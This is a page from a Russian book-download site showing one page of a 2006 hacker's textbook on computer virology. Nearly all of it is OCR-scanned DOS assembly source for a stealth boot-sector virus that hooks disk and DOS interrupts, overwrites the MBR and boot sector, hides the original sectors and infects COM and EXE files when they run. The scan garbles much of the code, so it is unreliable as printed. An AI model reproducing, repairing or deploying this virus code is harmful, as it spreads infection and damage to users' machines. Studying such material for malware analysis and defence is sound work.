Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 71 72 73 74 75 76 < 77 > 78 79 80 81 82 83 .. 123 >> Следующая

inc word ptr cs:[Timer] ;иначе инкрементируем Timer (+1)
cmp byte ptr cs:[Timer], 190 ;если 10 секунд (190 / 18.2)
;проход, перехватываем
jb DontHooklnt21 hYet ;int 21 h и устанавливаем флаг,
;указывающий на
mov DosFinished Loading, 1 готовность DOS
call Hooklnt21h
DontHooklnt21h\fet
popds
popa
popf
dbOeah
ГЛАВА 6. Инфицирование загрузочного сектора
GoodlntlCh dd ?
Timer dw О
DosFinishedLoading db 0
Evillnt13h: .обработчик int 13h
pushf
cmp ah,0F2h '.инсталляционным чеком является int 13h/0F2h
jne NolnstallCheck
mov bx,4321h
popf
iret
NolnstallCheck: cmp ah,2 jne NotForUs cmp cx,1 jne NotForUs cmp dh,0 jne
NotForUs
;что-то читается?
;из цилиндра 0/сектора 1?
;и головки О?
;если нет, выход
popf
call Oldlnt13h jne Eatlt
; иначе читаем там ;и "съедаем это":}
retf 2 NotForUs: popf dbOEAh Goodlnt13h dd ?
Oldlntl 3h: pushf
call dword ptr cs:[Goodlnt13h] ret
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Подпрограмма инфицирования загрузочного сектора (BS) и главной
загрузочной записи (MBR):
Eatlt: pushf pusha -push ds push es
cmp es: [bx+Marker] ,'DT {читаемые BS/MBR уже инфицированы? jne
InfectSector
mov ax,0201 h ;если да, скрыть вирус
call GetStealthSector call Oldlnt13h jmp Done
GetStealthSector: ;эта подпрограмма используется для
mov сх,2 {получения локации первоначальных
{BS/MBR. Она хранится
movdh.O ;в цилиндре 0, головке 0, секторе 2
;на жестком
cmp dl,80h ;диске или в цилиндре 0, головке 1,
{секторе 14 на
jae NoFloppy {дискете
movcx,14
mov dh, 1
NoFloppy:
ret
InfectSector: {подпрограмма инфицирования
mov ax,0301 h ;она сначала сохраняет оригинальные
;BS/MBR
call GetStealthSector
call Oldlnt13h
ЛЛ 4
ГЛАВА 6. Инфицирование загрузочного сектора
push es popds push cs popes
mov si.bx ;и копирует BPB (3Ch байта)
;эагрузочного сектора
push si ;в вирус:офсет 3
add si,2
lea di,[StartOfBaphometh+2] mov cx,3Ch rep movsb pop si
add si.lBEh lea di.PartitionTable
mov cx,40h ;и таблицу разделов (40h байтов) в офсет 1 BEh
rep movsb ; иначе переписываем оригинальные BS/MBR
mov ах,0301 h ;нашим вирусом
lea bx.StartOfBaphometh
mov сх, 1
mov dh,0
call Oldlnt13h
mov ax,0302h ;и сохраняем оставшиеся 2 сектора вируса lea
bx.EndOfFirstPart call GetBaphometh Sector call Oldlnt13h
Done: popes pop ds popa popf

Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
retf 2
Header db 1Ch dup(?)
FileSize dd ?
; db X ;......
ORG 1beh
PartitionTable: db 64 dup('P') db 55h,0AAh EndOfFirstPart:
Это конец первой части вируса. Все, что находится ниже этого офсета,
мануально загружается куда-нибудь в верхний код:
Evillnt24h: ;обработчик int 24h
iret ;перехват производится, когда '.инфицируется файл. Он
Goodlnt24h dd ? ;мешает появлению сообщения об ошибке,
;если диск защищен от записи
I
Hooklnt21 h: ;эта подпрограмма перехватывает int 21 h, pusha ;она
вызывается таймерным прерыванием 1Ch push ds ;после 10-секундного
ожидания
хог ах,ах mov ds.ax lea ax,Evillnt21h mov bx.cs cli
xchg ax,ds:[21h*4]
xchg bx,ds:[21h*4+2]
mov word ptr cs:[Goodlnt21 h],ax
one
ГЛАВА 6. Инфицирование загрузочного сектора
mov word ptr cs:[Goodlnt21h+2],bx sti
pop ds
popa
ret
Evillnt21h: ;обработчик int 21h
pushf
cmp ax,ODEADh инсталляционным чеком является ODEADh
jne Nolnt21lnstallCheck
mov bx.OBCBCh
popf
iret
Nolnt211 nstallCheck:
cmp ah,4bh .инфекция на выполнение (функция 4Bh) je InfectRle
Restorelnt21 h: .иначе выход
popf
db Oeah
Goodlnt21h dd ?
InfectRle: pusha push ds es
push ds xor ax.ax mov ds.ax
lea ax,Evillnt24h ;сначала перехватываем int ;24h, чтобы помешать
mov bx,cs появлению сообщений об ошибках
ЛАЧ
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
cli
xchg ax.word ptr ds;[24h*4] xchg bx.word ptr ds:[24h*4+2] mov word ptr
cs:[Goodlnt24h],ax mov word ptr cs: [GoodInt24h+2], bx sti
pop ds
mov ax,4300h сохраняем атрибуты файла
int 21 h
push dx ds cx mov ax,4301 h xor cx.cx int 21 h
jne NoErrorsWlrffingToDisk jmp FileError
NoErrorsWritingToDisk: mov ax,3d02h int 21 h jne Opened jmp RleError
Opened: xchg ax.bx push cs cs pop dses
mov ax,5700h ;сохраняем время и дату создания файла
int 21 h push сх dx
;устанавливаем атрибуты файла до нуля
;если при установке атрибутов ;файла появилась
'.ошибка, то, вероятно, диск •.защищен, поэтому
;мы не продолжаем инфекцию ;открываем файл

ГЛАВА 6. Инфицирование загрузочного сектора
mov ah,3fh ;читаем 1Ch байтов (заголовок) lea dx,Header mov cx,1Ch int 21
h
cmp word ptr cs:[Header],'ZM' ;проверка на ЕХЕ-файл jne ExeCheck jmp
InfectEXE ExeCheck:
cmp word ptr cs:[Header],'MZ' jne SysCheck jmp InfectEXE SysCheck:
cmp word ptr cs:[Header],Offffh ;если выполняется SYS-файп,
;то выход из
je CloseFile ;подпрофаммы, т.к. она не может
;заражать такие файлы
•.SVS-файлы начинаются байтами FF FF и также
.выполняются с помощью функции 4Bh
InfectCOM: ;подпрограмма инфицирует СОМ-файлы
mov ax,4202h устанавливаем указатель файла в конец
хог сх.сх
xor dx.dx
int 21 h
cmp dx,0 ;если слишком большой, то выход
ja CloseFile
Предыдущая << 1 .. 71 72 73 74 75 76 < 77 > 78 79 80 81 82 83 .. 123 >> Следующая